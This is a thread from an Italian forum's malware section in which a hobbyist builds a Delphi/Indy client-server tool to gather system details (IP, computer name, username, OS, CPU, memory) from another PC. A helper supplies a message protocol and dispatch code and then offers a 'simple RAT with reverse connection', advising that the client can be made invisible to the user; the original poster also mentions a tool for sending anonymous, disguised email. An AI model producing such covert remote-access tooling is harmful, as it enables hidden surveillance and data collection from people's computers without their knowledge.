Discussione Malware Avere Informazioni Da un PC Remoto (Delphi XE)

Stato
Discussione chiusa ad ulteriori risposte.

mrcamarium

Utente Silver
7 Gennaio 2022
105
24
6
56
Con questo codice posso ottenere le informazioni che mi servono dal PC in uso:
Codice:
procedure TForm1.FormCreate(Sender: TObject);
var
  A, C, D, E, Speed: Double;
  myStringList: TStringList;
  b: array[0..512] of Char;
  Memory: tMemoryStatus;
  i : Integer;
begin
 Speed := GetCPUSpeed;
 myStringList:=TStringList.Create;
 TIdStack.IncUsage;
 GetTempPath(511,b);
 memory.dwLength := sizeof(memory);
 GlobalMemoryStatus(memory);
 i := Languages.IndexOf(SysLocale.DefaultLCID);
 A := memory.dwTotalPhys;
 C := memory.dwAvailPhys;
 D := (A/100000000);
 E := (C/100000000);
try
  myStringList.Add('IP: ' + GStack.LocalAddress);
finally
  TIdStack.DecUsage;
end;
 myStringList.Add('PC: '+SysComputerName+' Utente: '+SysUserName);
 myStringList.Add('SO: '+(InfoSO)+' '+Languages.Name[i]);
 myStringList.Add('CPU: '+(Tipo_cpu) + ' ' + FormatFloat('#0.', Speed)+' Hz');
 If waveOutGetNumDevs > 0 then
 myStringList.Add('Scheda Audio: Presente')
 else myStringList.Add('Scheda Audio: Assente');
 myStringList.Add(b);
 myStringList.Add('Memoria totale: '+FormatFloat('#0.', D)+' Gb'+' Memoria libera: '+FormatFloat('#0.', E)+' Gb');
 Memo1.Lines.Assign(myStringList);
 myStringList.Free;
 end;
Adesso vorrei interrogare il PC remoto per ottenere le informazioni che mi servono. Come componente sto usando server: TIdTCPServer, cliente: TIdTCPClient.
 
Mi sembra un normalissimo script, che runna in locale e ricava informazioni dalla macchina in uso... diciamo che dovresti prima aver accesso ad un server, inviare questo script e poi codificare una parte dove "possono essere consegnate le informazioni" ...


Forse ho capito male io qual è la domanda ... ti suggerirei di essere leggermente più specifico (obbiettivi, linguaggio utilizzato...). Non ho notato alcun riferimento a strutture C/S TldTCP (ad esempio)


P.s. perchè in delphi :ehm:?
 
Ultima modifica:
Nel programma server installato sul PC è già inserita l'istruzione:
Codice:
procedure TForm1.FormCreate(Sender: TObject);
begin
server.DefaultPort:=2630;
server.Active:=true;;
end;
I componenti che sto usando sono TCPSERVER e TCPCLIENTE. Il frammento di codice che hai visto serve per ottenere le informazioni dal mio PC solo come riferiemnto. Quindi non tenerlo conto più di tanto. Adesso nel programma server installato sul PC ho incluso le function:
Messaggio unito automaticamente:

function SysComputerName: string;
var
I: DWord;
begin
I := MAX_COMPUTERNAME_LENGTH + 1;
SetLength(Result, I);
Windows.GetComputerName(PChar(Result), I);
Result := string(PChar(Result));
end;
Adesso la mia domanda è come faccio nel mio programma cliente a inserire le informazioni in una TMemo le function presenti nel programma server che sta sul PC Remoto? Spero di essermi spiegato meglio.
PS il linguaggio che sto usando è Delphi.[/CODE]
 
Devi iniziare a stabilire un protocollo basato su TCP. Finora hai usato ReadLn e WriteLn che vanno bene per iniziare ma così un singolo messaggio non potrà mai contenere caratteri speciali (0, 10, 13...) e deve avere un modo per capire dove inizia e finisce un messaggio (risposta a un comando, uno screenshot remoto...). Ti consiglio di stabilire un protocollo con header binario minimo e indispensabile:

Codice:
4 byte unsigned int - Lunghezza messaggio
1 byte - Tipo messaggio
N byte - Corpo del messaggio

// 04 00 00 00 01 43 69 61 6F

Lunghezza = 04 00 00 00 = 4 (Little Endian)
Tipo = 01 = 1
Messaggio = 43 69 61 6F = Ciao (ASCII)

A quel punto nel server quando ricevi un messaggio, leggi 5 byte che ti dicono quanti altri devi leggerne e il tipo, poi leggi N byte. Tramite il tipo sai cosa devi farci con questo dato (a quale funzione girarlo per essere processato e visualizzato), esempio:
Codice:
1 = Informazioni di Sistema
2 = Screenshot,
// ...
255 = File

Questo sarebbe un modo veloce, semplice e pulito per farlo, se vuoi una via più rapida di sviluppo con Read/Write line potresti includere il tipo all'inizio del messaggio, encodare tutto in base64 o in hex e inviarlo come una riga. Oltre a occupare più spazio è lento e il server consuma più risorse più sono lunghi i messaggi ma finchè ci sono pochi client collegati ce la dovrebbe fare.
 
Mi sa che questa volta sarà più tosta! Allora è da premettere che sono un appassionato di elettronica e lavoro nel settore industriale la programmazione per me è un passatempo da una scala da 1 a 10 le mie competenze in informatica sono 2. Ho già realizzato un software per l'invio della posta anonima e camuffata e ho realizzato un software che mi aiuta nei miei progetti di elettronica. Ma realizzare quello che ho in mente sarà più difficile. Il tuo suggerimento sarà sicuramente il migliore ma non riesco a capire come applicarlo. Ti allego il file del Server.
 

Allegati

  • Sorgente.zip
    1.7 KB · Visualizzazioni: 9
Pensavo a qualcosa del genere:

Codice:
procedure WriteMessage(io: TIdIOHandler; kind: Byte; msg: TIdBytes);
var
  len: UInt32;
begin
  len := Length(msg);
  io.Write(len);
  io.Write(kind);
  io.Write(msg);
end;

function ReadMessage(io: TIdIOHandler; var kind: Byte) : TIdBytes;
var
  len: UInt32;
begin
  len := io.ReadUInt32();
  kind := io.ReadByte;
  SetLength(Result, len);
  io.ReadBytes(Result, len, False);
end;

function StrToBytes(s: string) : TIdBytes;
var
  b: TBytes;
  len: Integer;
begin
  b := TEncoding.UTF8.GetBytes(s);
  len := Length(b);
  SetLength(Result, len);
  CopyMemory(Result, b, len);
end;

function BytesToStr(b: TIdBytes): string;
begin
  Result := TEncoding.UTF8.GetString(b);
end;

procedure HandleSystemInfo(peer: TIdContext; msgBody: TIdBytes);
var
  msgStr: string;
begin
  msgStr := BytesToStr(msgBody);
  // put msgStr into memo or whatever...
end;

procedure HandleScreenshot(peer: TIdContext; msgBody: TIdBytes);
begin
  // compose the bitmap from msgBody and draw a TImage...
end;

procedure TForm1.serverExecute(AThread: TIdContext);
var
  msgKind: Byte;
  msgBody: TIdBytes;
begin
  msgBody := ReadMessage(AThread.Connection.IOHandler, msgKind);

  case msgKind of
    1: HandleSystemInfo(AThread, msgBody);
    2: HandleScreenshot(AThread, msgBody);
    // ...
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 clients: TList;
 i: Integer;
begin
 clients := Server.Contexts.LockList;
 try
  for i:=0 to clients.Count - 1 do
   try
    WriteMessage(
      TIdContext(clients.Items[i]).Connection.IOHandler,
      3, // tipo messaggio per client
      StrToBytes('Contenuto comando')
    );
   except
   end;
 finally
 end;
 Server.Contexts.UnlockList;
end;

Non l'ho provato, potrebbe esserci qualche svista.
 
  • Mi piace
Reazioni: mrcamarium
Ho cominciato a lavorare il codice ho inserito nelle uses IdGlobal ma su questa parte del codice:
Codice:
function ReadMessage(io: TIdIOHandler; var kind: Byte) : TIdBytes;
var
  len: UInt32;
begin
  len := io.ReadUInt32();
  kind := io.ReadByte;
  SetLength(Result, len);
  io.ReadBytes(Result, len, False);
end;
Mi da questo errore:
[DCC Error] Unit1.pas(143): E2003 Undeclared identifier: 'ReadUInt32'
 
Io uso Delphi XE quindi la IdIOHandler
[DCC Fatal Error] Unit1.pas(13): F1026 File not found: 'IdIOHandle.dcu'
è mancante. Dove la posso scaricare?
 
Se non c'è l'hai non scaricarlo, rischi solo di incasinare dipendenze con versioni diverse ed avere bug incredibili. Prova a sostituire ReadUInt32 con quella che a me da deprecata: ReadLongWord.

Se non dovesse funzionare aggiungi una uses a IdStack e aggiungi:
Codice:
funciton IOReadUInt32(io: TIdIOHandler): UInt32;
var
    b: TIdBytes;
begin
    io.ReadBytes(b, 4, False);
    Result := GStack.NetworkToHost(PUInt32(@b[0])^);
end;

E sostituisci len := io.ReadUInt32(); con len := IOReadUInt32(io);. Ho verificato che l'implementazione originale equivale a quella riassuntiva da me postata qui.
 
  • Mi piace
Reazioni: Hastro
Ultima modifica:
Sostituendo ReadUInt32 con ReadLongWord compila senza errori, adesso personalizzo il codice con le funzioni che mi servono e ti faccio sapere.
Messaggio unito automaticamente:

Ho incluso le info che mi servono, ma mi da un errore:
[DCC Error] Unit1.pas(173): E2034 Too many actual parameters
su:
Codice:
procedure TForm1.serverExecute(AThread: TIdContext);
var
  msgKind: Byte;
  msgBody: TIdBytes;
begin
  msgBody := ReadMessage(AThread.Connection.IOHandler, msgKind);
  case msgKind of
    1: Tipo_cpu(AThread, msgBody);
    2: GetCPUSpeed(AThread, msgBody);
    3: IsSoundCardInstalled(AThread, msgBody);
    4: SysComputerName(AThread, msgBody);
    5: SysUserName(AThread, msgBody);
  end;
end;
Queste istruzioni:
1: Tipo_cpu(AThread, msgBody);
2: GetCPUSpeed(AThread, msgBody);
3: IsSoundCardInstalled(AThread, msgBody);
4: SysComputerName(AThread, msgBody);
5: SysUserName(AThread, msgBody);
fanno riferimento ad delle function
 

Allegati

  • Sorgente.zip
    2.1 KB · Visualizzazioni: 5
Il codice che hai allegato non è quello che stai compilando: a linea 173 non c'è nulla. L'errore è dato dal fatto che stai chiamando quelle funzioni con il numero sbagliato di parametri, es. function SysComputerName: string; non accetta parametri ma tu passi un TIdContext e TIdBytes (AThread e msgBody).
Il problema è che stai confondendo ciò che deve fare il client con ciò che deve fare il server: se stai usando una connessione reverse il server dovrebbe essere quello con la GUI quindi deve ricevere le informazioni e mostrarle, invece il client deve raccogliere le informazioni e inviarle. Non serve a niente sapere il tipo di CPU del server, tu vuoi sapere quello del client, corretto? Allora le funzioni

1: Tipo_cpu(AThread, msgBody);
2: GetCPUSpeed(AThread, msgBody);
3: IsSoundCardInstalled(AThread, msgBody);
4: SysComputerName(AThread, msgBody);
5: SysUserName(AThread, msgBody);

vanno inserite nel client perché dall'implementazione vedo che stai raccogliendo quei dati sulla macchina dove il codice viene eseguito. Nel server va l'opposto: i dati ti arrivano sul socket e tu devi mostrarli nella GUI, infatti nell'esempio che ti ho mandato precedentemente (per il server) HandleScreenshot e simili accettano il parametro TIdBytes che contiene i dati inviati dal client, che puoi processare e mostrare a schermo, mentre il parametro TIdContext ti serve a capire da quale client provengono quei dati.
 
Ultima modifica:
Il codice che hai allegato non è quello che stai compilando: a linea 173 non c'è nulla. L'errore è dato dal fatto che stai chiamando quelle funzioni con il numero sbagliato di parametri, es. function SysComputerName: string; non accetta parametri ma tu passi un TIdContext e TIdBytes (AThread e msgBody).
Il problema è che stai confondendo ciò che deve fare il client con ciò che deve fare il server: se stai usando una connessione reverse il server dovrebbe essere quello con la GUI quindi deve ricevere le informazioni e mostrarle, invece il client deve raccogliere le informazioni e inviarle. Non serve a niente sapere il tipo di CPU del server, tu vuoi sapere quello del client, corretto? Allora le funzioni



vanno inserite nel client perché dall'implementazione vedo che stai raccogliendo quei dati sulla macchina dove il codice viene eseguito. Nel server va l'opposto: i dati ti arrivano sul socket e tu devi mostrarli nella GUI, infatti nell'esempio che ti ho mandato precedentemente (per il server) HandleScreenshot e simili accettano il parametro TIdBytes che contiene i dati inviati dal client, che puoi processare e mostrare a schermo, mentre il parametro TIdContext ti serve a capire da quale client provengono quei dati.
Credo che nel esporre il problema ho fatto un po' di confusione. L'idea del reverse per adesso l'ho abbandonata, quindi il progetto è limitato su una rete locale. In casa ho tre PC quindi per adesso sfrutto questo sistema in loco. Quindi per sintetizzare meglio il discorso dal mio pc deve partire la richiesta di avere le informazioni dal pc remoto. Adesso capisco come mai nel codice che mi hai mandato cera il bottone con:
Codice:
procedure TForm1.Button1Click(Sender: TObject);
var
 clients: TList;
 i: Integer;
begin
 clients := Server.Contexts.LockList;
 try
  for i:=0 to clients.Count - 1 do
   try
    WriteMessage(
      TIdContext(clients.Items[i]).Connection.IOHandler,
      3, // tipo messaggio per client
      StrToBytes('Contenuto comando')
    );
   except
   end;
 finally
 end;
 Server.Contexts.UnlockList;
end;
a questo punto devo rimodificare tutto? Scusami se non mi sono fatto capire bene!
Messaggio unito automaticamente:

Adesso me lo sto studiando il tuo codice vedo di adattarlo.
Messaggio unito automaticamente:

//Server
Codice:
procedure WriteMessage(io: TIdIOHandler; kind: Byte; msg: TIdBytes);
var
  len: UInt32;
begin
  len := Length(msg);
  io.Write(len);
  io.Write(kind);
  io.Write(msg);
end;

function StrToBytes(s: string) : TIdBytes;
var
  b: TBytes;
  len: Integer;
begin
  b := TEncoding.UTF8.GetBytes(s);
  len := Length(b);
  SetLength(Result, len);
  CopyMemory(Result, b, len);
end;

procedure TForm1.serverExecute(AThread: TIdContext);
var
 clients: TList;
 i: Integer;
begin
 clients := Server.Contexts.LockList;
 try
  for i:=0 to clients.Count - 1 do
   try
    WriteMessage(
      TIdContext(clients.Items[i]).Connection.IOHandler,
      3, // tipo messaggio per client
      StrToBytes('Contenuto comando')
    );
   except
   end;
 finally
 end;
 Server.Contexts.UnlockList;
end;

//Client
Codice:
function ReadMessage(io: TIdIOHandler; var kind: Byte) : TIdBytes;
var
  len: UInt32;
begin
  len := io.ReadLongWord();
  kind := io.ReadByte;
  SetLength(Result, len);
  io.ReadBytes(Result, len, False);
end;

function BytesToStr(b: TIdBytes): string;
begin
  Result := TEncoding.UTF8.GetString(b);
end;

procedure TForm1.InfoClick(Sender: TObject);
var
  msgKind: Byte;
  msgBody: TIdBytes;
begin
  msgBody := ReadMessage(AThread.Connection.IOHandler, msgKind);

  case msgKind of
    1: HandleSystemInfo(AThread, msgBody);
    2: HandleScreenshot(AThread, msgBody);
    // ...
  end;
end;

procedure HandleSystemInfo(peer: TIdContext; msgBody: TIdBytes);
var
  msgStr: string;
begin
  msgStr := BytesToStr(msgBody);
  // put msgStr into memo or whatever...
end;

procedure HandleScreenshot(peer: TIdContext; msgBody: TIdBytes);
begin
  // compose the bitmap from msgBody and draw a TImage...
end;
Il server viene compilato senza errori e il sistema di messaggistica funziona. Invece il client mi da errore su questa riga:
msgBody := ReadMessage(AThread.Connection.IOHandler, msgKind);
[DCC Error] Unit1.pas(240): E2003 Undeclared identifier: 'AThread'
ho controllato ma non riesco a individuare il problema. Ti allego i File.
 

Allegati

  • Sorgenti.zip
    3.8 KB · Visualizzazioni: 3
Credo che risparmieremo entrambi tempo se ti posto un esempio già funzionante che potrai confrontare con quello che hai attualmente per capire gli errori e se vuoi, usarlo come base. Ho creato un piccolo esempio di RAT con connessione reverse riutilizzando il tuo codice più le modifiche che ti ho suggerito:

screen_server.png


Facendo click su Send Message verrà inviato il comando a quello specifico client, il messaggio è scritto direttamente nel codice ma puoi prenderlo da una Edit o dove vuoi:

screen_message.png


Il client è una console application, ma puoi nasconderla o convertire il tutto in una VCL application senza form (se lo vuoi invisibile all'utente):

screen_client.png


Se ti da qualche errore potrebbe essere che ho usato una versione più recente di XE ma al massimo dovrebbe esserci solo qualcosa nelle uses da cambiare. Questo oppure il fatto che Delphi non è il mio linguaggio e l'avrò usato 4 volte :asd:
 

Allegati

  • SimpleRAT_Sample.zip
    3.2 KB · Visualizzazioni: 9
Credo che risparmieremo entrambi tempo se ti posto un esempio già funzionante che potrai confrontare con quello che hai attualmente per capire gli errori e se vuoi, usarlo come base. Ho creato un piccolo esempio di RAT con connessione reverse riutilizzando il tuo codice più le modifiche che ti ho suggerito:

Visualizza allegato 60363

Facendo click su Send Message verrà inviato il comando a quello specifico client, il messaggio è scritto direttamente nel codice ma puoi prenderlo da una Edit o dove vuoi:

Visualizza allegato 60364

Il client è una console application, ma puoi nasconderla o convertire il tutto in una VCL application senza form (se lo vuoi invisibile all'utente):

Visualizza allegato 60365

Se ti da qualche errore potrebbe essere che ho usato una versione più recente di XE ma al massimo dovrebbe esserci solo qualcosa nelle uses da cambiare. Questo oppure il fatto che Delphi non è il mio linguaggio e l'avrò usato 4 volte :asd:
chiedo da ignorante: i file con estenzione "pas" non dovrebbero indicare un sorgente pascal?
 
Credo che risparmieremo entrambi tempo se ti posto un esempio già funzionante che potrai confrontare con quello che hai attualmente per capire gli errori e se vuoi, usarlo come base. Ho creato un piccolo esempio di RAT con connessione reverse riutilizzando il tuo codice più le modifiche che ti ho suggerito:

Visualizza allegato 60363

Facendo click su Send Message verrà inviato il comando a quello specifico client, il messaggio è scritto direttamente nel codice ma puoi prenderlo da una Edit o dove vuoi:

Visualizza allegato 60364

Il client è una console application, ma puoi nasconderla o convertire il tutto in una VCL application senza form (se lo vuoi invisibile all'utente):

Visualizza allegato 60365

Se ti da qualche errore potrebbe essere che ho usato una versione più recente di XE ma al massimo dovrebbe esserci solo qualcosa nelle uses da cambiare. Questo oppure il fatto che Delphi non è il mio linguaggio e l'avrò usato 4 volte :asd:
Ho cominciato a lavorare prima sul file client e ho dovuto risolvere questa parte di codice:
Codice:
function StrToBytes(s: string) : TIdBytes;
var
  b: TBytes;
  len: Integer;
begin
  b := TEncoding.UTF8.GetBytes(s);
  len := Length(b);
  SetLength(Result, len);
  CopyMemory(Result, b, len);
end;
che mi dava questo errore:
[DCC Error] Unit1.pas(164): E2004 Identifier redeclared: 'BytesToStr'
l'ho corretto in questo modo:
Codice:
function StrTfrmPriority(s: string) : TIdBytes;
var
  b: TBytes;
  len: Integer;
begin
  b := TEncoding.UTF8.GetBytes(s);
  len := Length(b);
  SetLength(Result, len);
  CopyMemory(Result, b, len);
end;
Adesso stacco che devo andare al lavoro domani continuo.
Messaggio unito automaticamente:

stavo leggendo proprio ora! Mi sono andato ad informare un po', ma non ho capito una cosa: la compilazione è biunivoca? Posso compilare delphi in pascal e viceversa?
La differenza è che Delphi ha una piattaforma di sviluppo dove è semplificata la programmazione. Ma di base Delphi è pascal.
 
stavo leggendo proprio ora! Mi sono andato ad informare un po', ma non ho capito una cosa: la compilazione è biunivoca? Posso compilare delphi in pascal e viceversa?

No. Delphi è un dialetto dell'Object Pascal e non è pienamente compatibile con gli altri. Pascal e i suoi derivati sono ormai considerati obsoleti fatta eccezione per Delphi e Free Pascal che continuano ad essere mantenuti, estesi ed hanno una community attiva. Riguardo l'estensione i file pas rappresentano il codice di una unit che compongono il progetto, mentre il file dpr contiene il codice principale cioè che viene eseguito per primo nel progetto (l'entry point) ed ha altre caratteristiche in comune con le unit (definire tipi, altre funzioni ecc).

che mi dava questo errore:
[DCC Error] Unit1.pas(164): E2004 Identifier redeclared: 'BytesToStr'

Credo che quella funzione fosse semplicemente inserita due volte, magari per un copy/paste errato.
 
Ultima modifica:
Ho aggiornato anche questo codice:
Codice:
procedure TForm1.ConnettiClick(Sender: TObject);
var
client: TIdTCPClient;
begin
client := TIdTCPClient.Create;
client.Port := 2630;
client.Host := edit3.text;
client.ReadTimeout := 10000;
Writeln('Starting client...');
while True do
begin
try
if not client.Connected then
begin
client.Connect;
Writeln('Connected!');
SendHello(client.IOHandler);
end;
while client.Connected do
if not HandleResponse(client.IOHandler) then
break;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end;
Writeln('Closing');
end;
Adesso passo al file server.
Messaggio unito automaticamente:

su questa parte del codice:
Codice:
procedure serverExecute(AContext: TIdContext);
var
  msgKind: Byte;
  msgBody: TIdBytes;
begin
  try
    msgBody := ReadMessage(AContext.Connection.IOHandler, msgKind);
     case msgKind of
      1: HandleSystemInfo(AContext, msgBody);
      // ...
    end;
  except end;
end;
mi da questo errore:
[DCC Error] Unit1.pas(123): E2003 Undeclared identifier: 'HandleSystemInfo'
Messaggio unito automaticamente:

Ho risolto il problema il codice lo dovevo correggere in questo modo:
Codice:
procedure TForm1.serverExecute(AContext: TIdContext);
var
  msgKind: Byte;
  msgBody: TIdBytes;
begin
  try
    msgBody := ReadMessage(AContext.Connection.IOHandler, msgKind);
     case msgKind of
      1: HandleSystemInfo(AContext, msgBody);
      // ...
    end;
  except end;
end;
 
ti ho allegato il programma completo, quando cerco di connettermi mi da questo errore
Server.jpg
 

Allegati

  • Sorgente.zip
    676.7 KB · Visualizzazioni: 3
L'errore è dato dal fatto che hai incollato la procedura serverExecute senza collegarla all'evento dell'oggetto server: in questo modo indy non sa quale funzione chiamare quando riceve un messaggio. Vai nel designer del form, clicca su server (TIdTCPServer), vai su gli eventi dell'oggetto e scrivi serverExecute nell'evento OnExecute.
 
Ultima modifica:
L'errore è dato dal fatto che hai incollato la procedura serverExecute senza collegarla all'evento dell'oggetto server: in questo modo indy non sa quale funzione chiamare quando riceve un messaggio. Vai nel designer del form, clicca su server (TIdTCPServer), vai su gli eventi dell'oggetto e scrivi serverExecute nell'evento OnExecute.
Scusa se ti disturbo ancora, avevi ragione. Invece con il cliente ho il problema che non si connette.
Cliente .jpg

Premetto che prima di lanciare il cliente apro il server e avvio la connessione.
 

Allegati

  • Sorgente.zip
    883.9 KB · Visualizzazioni: 2
Stato
Discussione chiusa ad ulteriori risposte.